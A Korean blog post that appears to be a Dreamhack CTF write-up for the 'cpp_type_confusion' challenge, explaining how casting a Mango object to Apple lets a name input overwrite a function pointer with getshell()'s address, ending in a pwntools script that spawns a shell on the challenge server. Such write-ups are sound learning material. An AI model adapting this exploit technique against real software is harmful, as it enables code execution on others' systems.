[Dreamhack_CTF]cpp_type_confusion

FR33CHICKEN ㅣ 2024. 9. 19. 09:37

728x90

해당 프로그램은 아래와 같이 과일을 만들고 먹는 귀여운 프로그램이다.

문제가 있는 코드를 살펴보면 아래의 코드에서 문제를 찾을 수 있다.

case 3:
	if(appleflag && mangoflag){
		applemangoflag = 1;
		mixer = static_cast<Apple*>(mango);
		std::cout << "Applemango name: ";
		std::cin >> applemangoname;
		strncpy(mixer->description, applemangoname.c_str(), 8);
		std::cout << "Applemango Created!" << std::endl;
        } else if(appleflag == 0 && mangoflag == 0){
			std::cout << "You don't have anything!" << std::endl;
        } else if(appleflag == 0){
			std::cout << "You don't have apple!" << std::endl;
        } else if(mangoflag == 0){
			std::cout << "You don't have mango!" << std::endl;
        }
        break;

문제점

  1. mixer = static_cast<Apple*>(mango);
  2. strncpy(mixer->description, applemangoname.c_str(), 8);
class Apple : public Base{
public:
    virtual void yum(){
        std::cout << description << std::endl;
    }
    Apple(){
        strcpy(description, "Appleyum\x00");
        appleflag = 1;
    };

    ~Apple(){
        appleflag = 0;
    }
    char description[8];
};

class Mango : public Base{
public:
    virtual void yum(){
        description();
    }

    Mango(){
        description = mangohi;
        mangoflag = 1;
    };

    ~Mango(){
        mangoflag = 0;
    }
    void (*description)(void);
};

1번이 문제가 될 수 있는 이유는 위의 코드를 보면 Apple과 Mango의 클래스의 구조가 다르다.

구조가 다른데 mango의 객체를 apple의 클래스로 지정을 하게 되면 Type_confusion이 발생한다.

 

 

2번이 문제가 될 수 있는 이유는 mixer->description을 입력받는다.

void getshell(){
    system("/bin/sh");
}

여기에 getshell의 메모리 주소를 넣으면 어떻게 될까?(아래와 같이 getshell의 메모리 주소는 0x400fa6이라는 것을 알 수 있다.)

pwndbg> p getshell
$1 = {<text variable, no debug info>} 0x400fa6 <getshell()>

 

description에 getshell의 메모리 주소인 0x400fa6이라는 값을 저장하면? (case3에서 믹스 과일 이름을 입력할때 description에 우리가 입력한 값이 들어가게 된다 그때 0x400fa6을 리틀엔디안 방식으로 저장한다.)

case 4:
                std::cout << "1. Apple\n2. Mango\n3. Applemango\n[*] Select : ";
                std::cin >> selector;
                if(selector == 1){
                    if(appleflag){ 
                        apple->yum(); 
                    }
                    else{ std::cout << "You don't have apple!" << std::endl; }
                } else if (selector == 2){
                    if(mangoflag){ 
                        mango->yum(); 
                    }
                    else{ 
                        std::cout << "you don't have mango!" << std::endl; 
                    }
                } else if (selector == 3){
                    if(applemangoflag) { 
                        mixer->yum(); 
                    }
                    else{ 
                        std::cout << "you don't have Applemango!" << std::endl; 
                    }
                } else {
                    std::cout << "Wrong Choice!" << std::endl;
                }
                break;

case4(과일 먹는) 에서 selector == 3 을 먹게되면 mixer->yum()라는 게 동작하는데 description에 getshell의 메모리 주소를 저장했으니 mixer() -> yum() -> description() -> getshell() 이 실행이 될 것이다.

 

이것을 파이썬 페이로드로 보낸다고 하면

from pwn import *
import warnings

r = remote('host3.dreamhack.games', 16662)
#p = process("./FILE LOCATE")


r.sendlineafter(': '.encode(),'1'.encode())
r.sendlineafter(': '.encode(),'2'.encode())
r.sendlineafter(': '.encode(),'3'.encode())
r.sendlineafter(': '.encode(),p32(0x400fa6))
r.sendlineafter(': '.encode(),'4'.encode())
r.sendlineafter(': '.encode(),'3'.encode())

r.interactive()

 

이렇게 작성한 페이로드를 실행하면!

 

 

728x90

'Game > Pwnable' 카테고리의 다른 글

Format String Bug 예제 1  (0) 2024.09.22
Format String Bug (FSB)  (3) 2024.09.22